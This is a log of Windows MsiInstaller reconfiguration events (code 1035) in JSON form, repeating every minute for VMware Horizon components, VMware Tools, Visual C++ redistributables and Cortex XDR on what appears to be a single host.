{"@timestamp":1657403470694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171727}}
{"@timestamp":1657403470722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171728}}
{"@timestamp":1657403470754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171729}}
{"@timestamp":1657403470780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171730}}
{"@timestamp":1657403470806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171731}}
{"@timestamp":1657403470842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171732}}
{"@timestamp":1657403470869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171733}}
{"@timestamp":1657403530728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171734}}
{"@timestamp":1657403530756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171735}}
{"@timestamp":1657403530807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171736}}
{"@timestamp":1657403530851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171737}}
{"@timestamp":1657403530881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171738}}
{"@timestamp":1657403530912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171739}}
{"@timestamp":1657403530940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171740}}
{"@timestamp":1657403530967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171741}}
{"@timestamp":1657403531004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171742}}
{"@timestamp":1657403531032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171743}}
{"@timestamp":1657403590686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171744}}
{"@timestamp":1657403590712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171745}}
{"@timestamp":1657403590763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171746}}
{"@timestamp":1657403590802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171747}}
{"@timestamp":1657403590831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171748}}
{"@timestamp":1657403590862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171749}}
{"@timestamp":1657403590889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171750}}
{"@timestamp":1657403590915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171751}}
{"@timestamp":1657403590950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171752}}
{"@timestamp":1657403590979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171753}}
{"@timestamp":1657403650729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171754}}
{"@timestamp":1657403650756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171755}}
{"@timestamp":1657403650806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171756}}
{"@timestamp":1657403650845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171757}}
{"@timestamp":1657403650875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171758}}
{"@timestamp":1657403650905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171759}}
{"@timestamp":1657403650932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171760}}
{"@timestamp":1657403650959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171761}}
{"@timestamp":1657403650998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171762}}
{"@timestamp":1657403651026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171763}}
{"@timestamp":1657403710784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171764}}
{"@timestamp":1657403710811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171765}}
{"@timestamp":1657403710861,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171766}}
{"@timestamp":1657403710901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171767}}
{"@timestamp":1657403710930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171768}}
{"@timestamp":1657403710961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171769}}
{"@timestamp":1657403710988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171770}}
{"@timestamp":1657403711014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171771}}
{"@timestamp":1657403711051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171772}}
{"@timestamp":1657403711079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171773}}
{"@timestamp":1657403770807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171774}}
{"@timestamp":1657403770833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171775}}
{"@timestamp":1657403770882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171776}}
{"@timestamp":1657403770923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171777}}
{"@timestamp":1657403770955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171778}}
{"@timestamp":1657403770987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171779}}
{"@timestamp":1657403771014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171780}}
{"@timestamp":1657403771041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171781}}
{"@timestamp":1657403771077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171782}}
{"@timestamp":1657403771105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171783}}
{"@timestamp":1657403830810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171784}}
{"@timestamp":1657403830837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171785}}
{"@timestamp":1657403830887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171786}}
{"@timestamp":1657403830927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171787}}
{"@timestamp":1657403830955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171788}}
{"@timestamp":1657403830986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171789}}
{"@timestamp":1657403831014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171790}}
{"@timestamp":1657403831040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171791}}
{"@timestamp":1657403831078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171792}}
